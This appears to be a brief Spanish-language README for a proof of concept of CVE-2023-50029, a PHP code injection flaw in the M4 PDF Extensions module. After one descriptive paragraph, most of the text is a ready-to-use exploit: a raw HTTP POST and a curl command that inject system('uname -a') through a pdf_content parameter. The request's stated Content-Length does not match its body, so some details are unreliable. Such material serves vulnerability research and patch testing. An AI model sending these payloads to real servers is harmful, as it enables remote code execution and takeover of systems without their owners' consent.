PHP-Injection-in-M4-PDF-Extensions

CVE-2023-50029 es una vulnerabilidad de inyección PHP en el módulo M4 PDF Extensions. Esta vulnerabilidad permite a los atacantes inyectar y ejecutar código PHP arbitrario en el servidor, lo que les otorga control total sobre el sistema objetivo. El problema radica en la validación incorrecta de las entradas, lo que permite que código malicioso sea pasado a través de parámetros de usuario.

Poc

POST /generate_pdf.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

pdf_content=<?php system('uname -a'); ?>

O Curl

curl -X POST http://example.com/generate_pdf.php -d "pdf_content=<?php system('uname -a'); ?>"